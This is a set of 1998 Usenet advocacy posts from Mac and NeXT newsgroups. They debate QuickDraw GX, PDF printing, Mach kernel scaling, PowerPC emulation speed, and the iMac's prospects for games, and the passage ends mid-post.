References: <jdoherty-1506982009120001@aus-tx22-16.ix.netcom.com> <B1AB407C-13A1B@206.165.43.221>
In article <B1AB407C-13A1B@206.165.43.221>, "Lawson English"
<english@primenet.com> wrote:
| That you (and 99% of the rest of the Mac-using community) never found a
| use for GX is 99% Apple's fault.
I don't see how you can claim it's any less than 100% Apple's fault.
They developed it, they tried to promote it, they tried to garner
ISV support for it, they tried to convince users that it had features
the users actually wanted, and on all counts except development, they
failed.
They developed GX, offered it to the world, and the world, by and large,
said, "Who cares?" Not even 1% of this is the world's fault. It's Apple's
fault, plain and simple. They spent a bunch of money and time developing
technology that didn't do them or their users any good in the end.
As conceived, GX failed. Apple may be able to salvage parts of it and use
them in other efforts, but that's a different question.
This is not to say that GX is bad technology: I don't think that it is.
But it is to say that GX is essentially failed technology, which I think
is pretty much indisputable, at least with regard to the original concept.
| The only "fault" I can lay at your feet is that you appear to believe
| that it STILL offers no useful features.
It *doesn't* offer any features useful to me, and that's not my fault.
Best regards.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 00:53:38 GMT
Organization: Cygnus Solutions
Message-ID: <6m742i$8q5$2@cronkite.cygnus.com>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<6m6uf2$o8d$2@cronkite.cygnus.com> <6m6gf0$fg$6@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
In <6m6gf0$fg$6@ns3.vrx.net> Maury Markowitz wrote:
> In <6m6uf2$o8d$2@cronkite.cygnus.com> John Rudd claimed:
> > _tuned/configured_ yes. But that does not argue against John's
statement.
> > You can tune a single given kernel to meet the goals of either extreme,
if
> > that given system is well implimented.
>
> I'm surprised John, you quoted my message containing items about this
that
> I think are valid about this point, yet ignore them. Server
>
Uh, I didn't quote them in this part of the thread... I was sort of
'dividing' my reply between two different parts of your statements.. my
comments on security were very specific to security concerns. I felt the
rest of what is being said can be completely seperated.
This message wasn't even a direct reply to you.. it was a reply to M. Buck,
who was replying to John Kheit (the other John :-)
> > While Solaris is not as "high availability" as a Stratus box, it is still
> > used in high end servers.. one kernel binary is quite configurable for a
> wide
> > range of deployment options.
>
> In some cases, yes. In others it may not be as valid.
>
> > But it is still "the same mach kernel" for any of those 3 cases.
>
> But not in the case of the original message.
>
Your original comments boil down to "can Mach (the kernel in Rhapsody and
MacOS X) scale from a single user desktop box to a departmental server?" And
John and I are basically saying "Yes, with the propper tuning". Now,
Openstep for Mach had the problem that it was using an out of date NFS
version.. but my example of Solaris shows that a single kernel binary can be
made to quite comfortably scale from a desktop platform to a high end
terrabyte database server.
But even taking that into consideration, the NFS issue has nothing to do with
the Mach kernel. You could replace the NFS implimentation (if you had the
right information about the kernel interface) in Openstep with a better
implimented version.
The question is "how well does Mach scale from desktop to server" and the
answer is "quite well". With the propper set of configuration parameters,
and well implimented services (ie. replace the 4.x NFS with a better NFS
implimentation), it should not be an issue. I expect that the NFS issue is
addressed in Rhapsody (the reason Openstep for Mach didn't fix it is that the
OS layer was in maintenance mode).
(I also completely reject the notion that M. Buck raised about a client
system giving ALL available resources to the console user.. We don't need to
go back to DOS, thank you. Neither the Mac, Windows, nor OS/2 even, give
100% of the available resources to the console user.. system functions are
necessary for a reason, and even the ability to have background users can be
essential on a _client_ system.. and ofcourse, you have to pick what
definition of "client" system you mean. In a network of engineering
workstations, I still want to be able to remotely do administration on my
clients, and engineer A using a Solaris workstation may want/need to do a
build of the application on engineer B's Irix workstation, both are valid
cases for a _CLIENT_ system that needs to give a reasonable set of resources
to something other than the console user. On the otherhand, it may be a
reasonable statement to make for a cell phone.. but last time I checked,
MacOS X wasn't being deployed on cell phones ;-) )
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 00:58:49 GMT
Organization: Cygnus Solutions
Message-ID: <6m74c9$8q5$3@cronkite.cygnus.com>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m73nu$7s9$1@nnrp1.dejanews.com>
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Cc: quinlan@intergate.bc.ca
In <6m73nu$7s9$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> In article <slrn6odnt9.ckr.sal@panix3.panix.com>,
> sal@panix3.panix.com (Salvatore Denaro) wrote:
>
> > Good multitasking is good multitasking. There is no reason why a good
server
> > can not be a good client and vice versa.
>
> That's not necessarily true. Different scheduling algorithms could be
> desirable for different tasks. For example, a good server scheduler might
> schedule IO bound processes over CPU bound processes to maximize total
system
> utilization (like MLFBQ). A good client scheduler, OTOH, might schedule
> interactive or foreground processes differently than other processes (like
> UTPS). It all depends what your goal is e.g. better resource utilization
vs.
> better user responsiveness.
>
And why can't that be a boot time or possibly even a run-time tunable
parameter?
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Mon, 15 Jun 1998 19:45:10 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6m4f9o$ku41@odie.mcleod.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <358537F3.66478A32@spamtoNull.com>
The iMac can not be expanded and it ships with mediocre parts. However, the
same could be said about the Sony Playstation. Think of the iMac as a
Playstation with more software possibilities. The reality is that most low
end PCs are never upgraded anyway. A person buys it, uses the Office
applications that were pre-installed, buys a game or two each year, and
replaces it between 3 and 5 years later.
Now, can Apple make the iMac attractive to those consumers and or others ?
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 17 Jun 1998 04:31:46 GMT
Organization: MiscKit Development
Message-ID: <6m7gri$lbs$2@news.xmission.com>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com>
jrudd@cygnus.com (John Rudd) wrote:
> However, in a sense, the robust quality of the Macintosh is a
> thorn to Apple. Many of their traditional user base are a lost
> revenue to Apple precisely because the machines are quite capable
> of remaining useful for years to come.
> [...]
I'm not sure that robustness is the full cause of the problem. Admittedly,
there are a lot of old Macs out there, and they are still quite useful to
their owners...but why? Here's my theory (add this as a reason for the "no
upgraders" problem).
It seems like a large percentage of Mac owners are people who have fewer
requirements for their machines. They got it for, say, basic word
processing. (ie, Often they are running not-very-demanding apps that work
just fine on the lowest of low end hardware--low end by today's standards,
that is.) It works, so why bother upgrading? If it does what you want and
doesn't leave you wanting or needing anything more, what incentive is there
for an upgrade?
In the PC world, it seems like everyone upgrades as quickly and as often as
they can because the machines never work right (especially if they're running
windows). Whan an upgrade is purchased, there's a hope that "this time" it
will work right. Of course, the fact that it doesn't work as they had hoped
leaves them ready to make the next upgrade well before it is released. It
also doesn't hurt to have a tech support department run Dogbert-style that
tells everyone all their problems "will be fixed in the next release" instead
of offering a patch or actually helping the user...
Anyway, while there are certainly Mac "power users" out there, who will
upgrade rapidly to have the fastest machine (to drive Photoshop, etc.), that
doesn't seem to be a majority. Many Mac people, in general, seem happy with
what they have.
There's also a rather amusing conundrum here: some of the fiercest Mac
advocates, the ones who will _never_ under any circumstance admit that the
holy Macintosh could possibly have a flaw, are also some of the quickest to
upgrade. If it didn't have any flaws, why did you upgrade? How exactly does
this upgrade improve upon perfection? :-) [Most of us, of course, have
realized long ago that nothing is perfect, especially when it comes to
computers...]
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 17:48:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AB0ED4-C79E6@206.165.43.44>
References: <6m3hpv$n2m$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>> Besides, it isn't "GX-like." It IS GX, design-wise, but missing several
>> important pieces that make GX suitable for DTP.
>
> That would make it GX-like.
Nope. GX was actually 3 large, interacting chunks: GX printing (gone), GX
graphics and GX typography.
QT vector graphics exposes a major portion of the GX graphics API to the
QuickTime programmer, but leaves out viewports, typography and bitmaps. It
uses the GX manuals to explain how to do things. All GX ink/transfer modes
are supported for QTVG, but not bitmaps.
That doesn't sound like a "GX-like" solution, but that a major subsection
of GX Graphics is actually implemented in the QT library, just as QuickDraw
is part of QUickTime, also.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: tas@mindspring.noUCE.com (Timothy A. Seufert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 21:40:55 -0700
Organization: Evil Geniuses For A Better Tomorrow, Inc.
Message-ID: <tas-1606982140560001@user-38ld68r.dialup.mindspring.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <358537F3.66478A32@spamtoNull.com> <cirby-1506981529250001@pm53-28.magicnet.net> <3585EA07.BDE7E2C6@spamtoNull.com>
In article <3585EA07.BDE7E2C6@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>CD-Quality sound in PCs is actually old hat as well, and I certainly
>didn't mean to imply that it's new. What is new, however, is the advent
>of PCI-bussed sound circuitry in PCs which performs extremely well.
>What's in the iMac that is so demonstrably better? I can't think of
>anything.
All that PCI sound does for a PC is to finally remove the overhead of
communication through an ISA<>PCI bridge from sound generation,
drastically reducing the amount of CPU time needed to do data transfers to
the card. It has nothing to do with sound quality; that still depends on
the individual card having good features, non-crap analog sections, etc.
Macs have had PCI bus sound since the first PCI Mac.
--
-- Tim
To mail me unsolicited advertisements: Move to Siberia. Wait until I
say it's OK to send. Everybody else, remove "noUCE." from my address.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Mon, 15 Jun 1998 18:43:51 -0500
Organization: Prairie Group
Message-ID: <MPG.fef6db22eebdab0989873@news.supernews.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <Pine.SOL.3.96.980615011908.456A-100000@hei.unige.ch> <358322BC.4620@southwind.net> <MPG.feed200cc3d366598986f@news.supernews.com> <3583A2A6.2F45@southwind.net>
In article <3583A2A6.2F45@southwind.net>, jmz@southwind.net says...
> Donald Brown wrote:
> >
> > In article <358322BC.4620@southwind.net>, jmz@southwind.net says...
> > > I compare Jobs to Hitler quite intentionally,but conditionally:I'm not
> > > accusing him of genocide or war atrocities.I am saying that he's
> > > dysfunctional and disturbed and conciously or otherwise is determined to
> > > fail at Apple,per se.
> > >
> > But the fact that, of all the dysfunctional leaders you could have
> > chosen, it was just a random chance you chose Hitler.
>
> No,because Jobs is so fundamentally Hitlerian in that he's
> doomed,historically,and so are those who follow him.Mussolini might be a
> good analogy too,but Hitler just has that emotional impact,even today.
It has that emotional impact because of all the evil he did, and has a
very strong emotional impact because of those few who still survive his
villany or those many who lost family members to his villany. And to
compare that to a CEO, even a CEO who regularly acts like a flake, is an
insult to their memory.
> I did a project in high school,which was to research how common the
> name "Hitler" had been in the United States before and after the Nazi
> regime in Germany.Before 1940 or so,there were Hitlers and Hittlers in
> most major city phone books.For the most part,that surname has vanished.
>
> Were all the Hitlers rounded up and Finally Solved? For the ardent
> conspiracy buff,of course,anything is possible,but a much more likely
> explanation is that all the Hitlers, and most of the Hittlers,changed
> their name.
>
> I mean,I would have.
I would have to. Adoph Hitler's actions have put such a terrible stain
and emotional wounding on that name that nobody would want to be
associated with it.
> Even today,the name Hitler is above all other names when it comes to
> describing a crazed or malevolent despot.Idi Amin,Ne Win,even Pol Pot
> just don't have that same ring.
Absolutely. Which would seem to put a lie to your statement:
> > > I'm not
> > > accusing him of genocide or war atrocities.I am saying that he's
> > > dysfunctional and disturbed and conciously or otherwise is determined to
> > > fail at Apple,per se.
You may not be specifically accusing him of those charges, you're just
attempting to slur him with this association.
If you want to be straightforward about it "Jobs is Hitler reincarnated,
he's here to crush you all, first Cupertino and then the world" you'll be
a nut, but you'll be an honest nut. But if you aren't really trying to
accuse Jobs of villany on a scale of Hitler, comparing him to Hitler is
nothing but a cheap shot.
Donald
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Wed, 17 Jun 1998 02:22:27 -0500
Organization: Tormenta Software
Message-ID: <j-jahnke-1706980222270001@dapple.tormenta.com>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com> <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com>
In article <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com>,
jdoherty@ix.netcom.com (John Doherty) wrote:
> In article <j-jahnke-1506982306430001@dapple.tormenta.com>,
> j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
>
> | Hey John,
> |
> | My gripe with PDF has been that Acrobat Reader can't print the way
> | I need to print.
>
> Howdy Jerry,
>
> Basically, Reader relies on the print services provided by the host OS.
> So your gripe is more with whoever wrote your print driver: certainly
> this problem is unrelated to the PDF file format, which is specifically
> designed to allow for page-independent processing.
Point taken, however, the representitive of PDF, as an end user (it isn't
like I produce documents, I just consume them) is Reader. And it is
certainly not page independent. I guess I stepped in at the wrong level of
this "discussion" but Reader is for all intents and purposes useless to
me. My desktop is much less expensive real estate than my monitor, and to
not be able to print out a document in the manner I need it printed seems
to me to be stupid.
> | The GX portable documents could indeed print even and odd pages.
>
> With what print driver? Does that same driver support that feature for
> all apps? If so, Reader should be able to make use of it. Or was it
> some app that allowed that?
Actually Reader could not make use of it, given Reader sent a raw PS
stream to the printer. The GX driver choked on it big time. This really
drove me nuts, it was as if Adobe was intentionally making life difficult.
> | It has been YEARS now and I still can't do that with Acrobat files unless
> | I export them to PS and massage them with MPW (thanks for that script
> | BTW.)
>
> I know where to get the real psutils as MPW tools now, at last: they're
> included in the ($35 shareware) CMacTeX package. They work fine.
Hey, thanks for the pointer.
> If Adobe wants their mac and windows users to have this ability, then I
> think they should either write it into their print drivers or offer it
> as a free plug-in for Reader. Putting it into the driver would be better,
> since that would give all apps this ability.
It seems to me that Reader isn't like other programs. But it has been
three or four years since I looked at this, I just print stuff out at work
on a duplex printer, let the hardware deal with it. But when I was messing
with it, it seemed to me that Reader took advantage of the fact they were
printing to mostly PS printers.
Jer,
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 02:44:40 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-1706980244410001@digital-02-162.hou.neoworld.net>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net> <6m7o07$2ap$1@news12.ispnews.com>
In article <6m7o07$2ap$1@news12.ispnews.com>, "Zico"
<ZicoKnows@hotmail.com> wrote:
>>It's cool if you prefer a Mac, but honestly, what do you feel is
>>robust about Macs running MacOS? Substandard multitasking? Slower
>>networking? The system grinding to a halt when you use the menu?
>>Poor threading?
I was talking hardware.
Honestly, depending on the task, my Mac feels as responsive or more responsive
than my NT machine.
They both grind to a halt at times.
Let's just say that, while I'd like to see a lot of the good things in NT
make their way over
to Mac, there's room for a lot of improvement in both platforms.
>>
>>>>>There's nothing unusual about the Mac hardware. In fact it's very
pedestrian
>>>>>as computers go.
>>>
>>>When compared to what- SGI or Sun?
>>>Commodore's Amiga?
>>>I know you're not seriously comparing Apple hardware to Compaq,Dell, et al.
>>>Be very careful here, Lance.
>>>You're about to make an ass out of yourself.
>>
>>
>>Other than the fast PPC, what do you feel rises much above
>>pedestrian levels with regards to Mac hardware? 66/83Mhz
>>system buses? The usual slow Mac built-in SCSI? ADB?
>>The video? The sound? The one-button mouse? What?
>>
>>Z
The quality of hardware components used, the attention to detail, the
industrial design, the overall fit and finish, the seamless integration of
hardware and software.
With a huge,fast backside cache, the bus speed is relatively unimportant.
I don't have one of the G3s yet.
(Keep in mind, though they are quite fast, given the inherent strength of the
PPC750, the current line are really entry-level G3 designs.)
I'm waiting for one of the big six-slot bastards that should be shipping
this fall.
All of my Macs are totally SCSI, and are equipped with Adaptec Power
Domain cards.
What's wrong with ADB?
As a precursor to USB in terms of functionality, it does pretty well for itself.
The main disadvantage is that you can't hotplug ADB.
Until USB (which still hasn't caught on yet) appeared, there was nothing
like ADB
that existed for PCs.
Macs have always enjoyed better, faster video than PCs. The only thing
that could touch
Macs were (and are) Amigas.
16-bit CD-quality sound? What's not to like?
Give the one-button mouse thing a rest, will ya?
That's utterly lame, and the Macintosh had multi-button mice
(Kensington,Microspeed, etc.)
years before PCs had a decent GUI.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: Wed, 17 Jun 1998 00:41:27 -0500
Organization: (none)
Message-ID: <jdoherty-1706980041270001@aus-tx17-17.ix.netcom.com>
References: <jdoherty-1406980224450001@san-tx3-06.ix.netcom.com> <B1A94C57-46FE8@206.165.43.176> <uu35mn0hv.fsf@ai.mit.edu>
In article <uu35mn0hv.fsf@ai.mit.edu>, Stephen Peters <portnoy@ai.mit.edu>
wrote:
| It doesn't matter what the technology _can_ do, it matters what it
| _does_ do.
You got it.
| John needs the whole package, from the UI through the apps, the font
| algorithms, down to the printing package, to do what he needs it to do.
Again, you got it. If I stick with T1 fonts and apps that support them,
I can do what people pay us for.
| The fact of the matter is, despite the technology behind GX fonts, there
| are sadly few top-quality applications using the GX feature set.
There are sadly few apps at all, and none are "top-quality" for my uses.
| The limited font library also means that there is little impetus today
| to create top-quality apps that can make use of it.
The limited font library means that for about 99.99% of our work, I
couldn't do it with real GX fonts (as opposed to GX-ified T1 fonts)
even if I wanted to. What's more, trying to do it with GX-ified T1
fonts would be a lot of trouble with no benefit.
| GX fonts should be fantastic for high-quality typesetting.
They might have been, but they aren't now, and they aren't going to be,
either. There just aren't enough of them, and there won't ever be.
I'm pretty sure I bought or otherwise legitimately acquired every single
GX font that was ever available. Not one customer has ever asked me to
use even one of them, though.
| I'm still hoping Apple can leverage the GX font technology into great
| native support for OpenType fonts.
OpenType is still vapor so far, and it's been a while since the original
announcement. I'm starting to doubt that it will ever amount to more
than so much hot air.
In the meantime, though, T1 fonts are still working fine for those of
us who get paid to set type and make pages. Believe me, we'll switch if
anything better comes along. We've seen TT, we've seen GX, we've heard
about OpenType, and we're still waiting.
Those of us who get paid to set type and make pages do realize that we
have lots of concerns not shared by most users. But they're the concerns
we have, and we're not giving them up. Other users can use whatever font
technology suits their own needs.
Best regards.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
now?)
Date: 17 Jun 1998 00:54:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ACC42D-12FD1@206.165.43.137>
References: <j-jahnke-1706980222270001@dapple.tormenta.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Jerome Jahnke <j-jahnke@uchicago.edu> said:
>> Basically, Reader relies on the print services provided by the host OS.
>> So your gripe is more with whoever wrote your print driver: certainly
>> this problem is unrelated to the PDF file format, which is specifically
>> designed to allow for page-independent processing.
>
>Point taken, however, the representitive of PDF, as an end user (it isn't
>like I produce documents, I just consume them) is Reader. And it is
>certainly not page independent. I guess I stepped in at the wrong level of
>this "discussion" but Reader is for all intents and purposes useless to
>me. My desktop is much less expensive real estate than my monitor, and to
>not be able to print out a document in the manner I need it printed seems
>to me to be stupid.
>
Pah, you could print to PDD files with even/odd printing using GX printing,
if you wanted to set it up that way. It wasn't a matter of the drivers, but
how the printing architecture allowed you to intercept the print stream in
mid-stream.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jmz@southwind.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Mon, 15 Jun 1998 22:40:05 +0000
Organization: None
Message-ID: <3585A2C6.3687@southwind.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <Pine.SOL.3.96.980615011908.456A-100000@hei.unige.ch> <358322BC.4620@southwind.net> <MPG.feed200cc3d366598986f@news.supernews.com> <3583A2A6.2F45@southwind.net> <MPG.fef6db22eebdab0989873@news.supernews.com> <3584599A.6723@southwind.net> <gruther-1606981431390001@macg203j.bio.purdue.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
George Rutherford wrote:
>
> > I compare one aspect of Hitler to one aspect of Jobs,while making it
> > clear the two are not wholly comparable.There are stinkier executives
> > than Steve Jobs,and,more quantitively destructive leaders than Hitler
> > throughout history:Stalin and Mao racked up larger kill figures and Pol
> > Pot and the Ottoman Turks took out a bigger percentage of their victim
> > groups.
>
> Snippetty-doo-dah.
>
> I believe that, by convention, the use of the word "Hitler" in a post
> requires the offending thread be ended.
Yeah? And I don't.I never heard of such a convention.Please refer me to
the appropriate standard or regulation.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 22:35:48 -0700
Message-ID: <see-below-1606982235490001@dynamic2.pm04.mv.best.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <358537F3.66478A32@spamtoNull.com> <6m4f9o$ku41@odie.mcleod.net>
In article <6m4f9o$ku41@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> The iMac can not be expanded and it ships with mediocre parts. However, the
> same could be said about the Sony Playstation. Think of the iMac as a
> Playstation with more software possibilities.
However, the PlayStation does have dedicated 3D hardware that software
developers will support because they know it's in every single
Playstation, and it's all they have to work with. PC and Mac game
developers aren't going to write for the Rage II just because it's in the
iMac--they're only going to write to the much more powerful accelerators
cheaply available as PCI or AGP cards, and that actually help them make
the coolest games. The market for the iMac, even if it lives up to
expectations, is probalby about 1/10th the market for the playstation, not
nearly critical mass to prompt most developers to target it specifically.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 22:48:52 -0700
Message-ID: <see-below-1606982248520001@dynamic2.pm04.mv.best.com>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7> <rmcassid-1506981506530001@dante.eng.uci.edu> <*johnnyc*-1506982043530001@jchristie.halifaxcable.dal.ca> <cirby-1506982105400001@pm55-36.magicnet.net> <*johnnyc*-1606980023330001@jchristie.halifaxcable.dal.ca> <cirby-1606981022490001@pm61-38.magicnet.net>
In article <cirby-1606981022490001@pm61-38.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
> > cirby@magicnet.net (Chad Irby) wrote:
> >
> > > Not really. The Playstation isn't really that high-powered in real
> > > terms. Nothing like the N64, for example.
> >
> > I didn't say it was. However, emulating it takes multiples of that
> > performance.
>
> Not particularly. Look at the relative speed of some of the non-PPC
> emulation in the Mac itself, for example. If a Power Mac can emulate a
> non-RISC 68K processor at reasonable speed, the relative speed of a
> RISC-type processor shouldn't be that much of an iassue.
Hmm. I think on PowerMacs, emulating either 68k or x86 code has typically
run about 1/5th to 1/10th as fast as it would on native hardware. I'm not
sure that RISC vs. CISC in the processor being emulated is much of an
issue.
> Even if it *is* an issue, and it has to run at "multiples," as you say,
> that's probably all right, since the G3-series PPC chip certainly *is*
> "multiples" of the speed of the R3000, which is pretty mediocre.
True, but then you have to emulate the 3D hardware, and that will probalby
run much, much slower.
> > Hardware emulation of the older ATI chip could not be accomplished by
> > the newer ATI chip (at playable speeds). It probably coudn't be
> > accomplished by the next ATI chip. Emulation typically takes 4:1 speed
> > hit at least.
>
> Really? I could see that on some things, like when the Mac is emulating a
> Pentium-level chip, with all of the other issues (RISC versus CISC, endian
> issues, etc), where the current-issue PPC is getting about a 3:1 ratio,
You wish! It's not even close to 3:1! The initial 68k emulator in the
first PowerMacs took an average of 10 PPC instructions to do every 68k
instruction, and it hasn't got _that_ much better (maybe twice as
efficient now, at best).
> but you're talking about a very limited emulation of a very simple piece
> of RISC hardware, and you shouldn't need to actually emulate the 3D
> hardware (just substitute Mac -> ATI calls)...
That's nice in theory, but is likely extremely difficult if the games
address the hardware directly (and they probably do since there aren't
compatibility issues with hardware or OS upgrades to worry about).
> > Look at the math specs of the G3. Easily 4 times the speed
> > of a regular low end pentium. However, it just barely emulates it.
>
> Actually, a G3/300 runs at about Pentium-100 speeds or better in
> emulation, or about three times the speed (or even better for some
> things).
Well, just barely. But think about it, you're talking about a 5-10 times
performance difference between a P/100 and a G3/300, aren't you? There's a
much bigger difference between a 100MHz 601 and a 300MHz G3, or a 100MHz
Pentium and a 300MHz Pentium II than just a factor of 3.
> Compare, for example, the Mac's emulation of old-time 68K apps, where the
> speed boost is very noticeable, even in relation to clock speeds.
Hmm. But again, you're comparing to _very_ slow processors. The first
PowerMac that was faster when running emulated software than an average
68040 machine was the 132MHz 604-based 9500. You're talking about a
computer that really ought to be 5-10x as fast, just barely equalling the
others' performance in emulation.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 22:54:43 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1606982254440001@dialin9182.slip.uci.edu>
References: <slrn6ob60k.5nf.sal@panix3.panix.com> <B1AB40B9-14887@206.165.43.221> <see-below-1606982225580001@dynamic2.pm04.mv.best.com>
In article <see-below-1606982225580001@dynamic2.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> Ack, that's even worse. Unplug your computer and lug it back to the store
> and pay them to upgrade it?
Why not? Most people do that with other products. How many people work on
their own cars these days - remember, we're special. Apple is trying to
